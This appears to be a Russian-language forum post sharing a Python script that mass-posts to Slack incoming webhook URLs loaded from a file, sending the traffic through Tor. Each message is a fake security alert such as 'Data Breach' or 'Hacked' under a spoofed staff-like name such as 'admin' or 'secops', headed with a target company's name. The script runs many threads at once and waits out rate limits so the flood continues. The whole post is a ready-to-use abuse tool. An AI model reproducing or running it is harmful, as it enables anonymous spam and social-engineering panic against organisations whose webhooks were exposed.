Многопоточный, с рандомизацией (текст убрал), ловит сколько нужно ждать, шлёт через Tor. Реализация на коленке.
Python:
from requests import post
from json import loads
from threading import Thread
from sys import argv
from time import sleep
from random import choice
GL_PROXY = {
'http': 'socks5://127.0.0.1:9050',
'https': 'socks5://127.0.0.1:9050'
}
TEXT = ''
class SlackSpam:
def __init__(self) -> None:
self.runned = 0
self.sent = 0
self.locked = False
self.usernames = (
'admin', 'secops', 'devops', 'security', 'critical', 'ops',
'alert', 'system', 'pentest', 'pentester', 'global', 'devs',
'deamon', 'administrator', 'analytics', 'watchdog'
)
def gen_username(self) -> str:
username = choice(self.usernames)
if choice((True, False)):
username += 'd'
elif choice((True, False)):
username = username.capitalize()
elif choice((True, False)):
username += '_alert'
elif choice((True, False)):
username += '_watch'
return username
def gen_title(self) -> str:
titles = (
'Data Breach', 'Data Leak', 'Hacked', 'Incident', 'Breach', 'Leak',
'Security Misconfiguration', 'Problem', '!ASAP!', 'Urgent Alert',
'!READ THIS!', 'Warning', 'Look here', 'Look at this'
)
title = choice(titles)
if choice((True, False)):
title = title.casefold()
elif choice((True, False)):
title = title.title()
elif choice((True, False)):
title = title.capitalize()
return f'{argv[2]} {title}'
def gen_text(self) -> str:
return ''
def spam(self, token: str) -> None:
while self.locked:
sleep(0.04)
errors = 0
self.locked = True
self.runned += 1
self.locked = False
while True:
data = {
"username": self.gen_username(),
"icon_emoji": ":sleuth_or_spy:",
"attachments": [
{
"title": self.gen_title(),
"mrkdwn_in": ["text"],
"text": TEXT,
"color": choice(('red', 'black', 'blue', 'yellow', 'purple'))
}
]
}
try:
resp = post(
token, json=data, proxies=GL_PROXY
).text
except Exception as e:
if errors == 3:
break
print('Error:', e)
errors += 1
continue
while self.locked:
sleep(0.04)
if resp != 'ok':
if resp.startswith('{') and resp.endswith('}'):
resp = loads(resp)
if resp.get('error', '') == 'rate_limited':
sleep(resp['retry_after'])
continue
else:
print(resp)
else:
print(f'{token} - dead, coz: {resp}')
self.locked = True
self.runned -= 1
self.locked = False
break
self.locked = True
self.sent += 1
self.locked = False
print(f'Sent: {self.sent}; Threads: {self.runned}', end='\r')
def start(self) -> None:
with open(argv[1], 'r') as lines:
for line in lines:
if line.startswith('https://hooks.slack.com'):
Thread(target=self.spam, args=(line.strip(),), daemon=True).start()
while self.runned != 0:
sleep(1)
def main() -> None:
if len(argv) != 3:
print('main.py /path/to/hooks.txt "Company name"')
exit(0)
spammer = SlackSpam()
spammer.start()
if __name__ == '__main__':
main()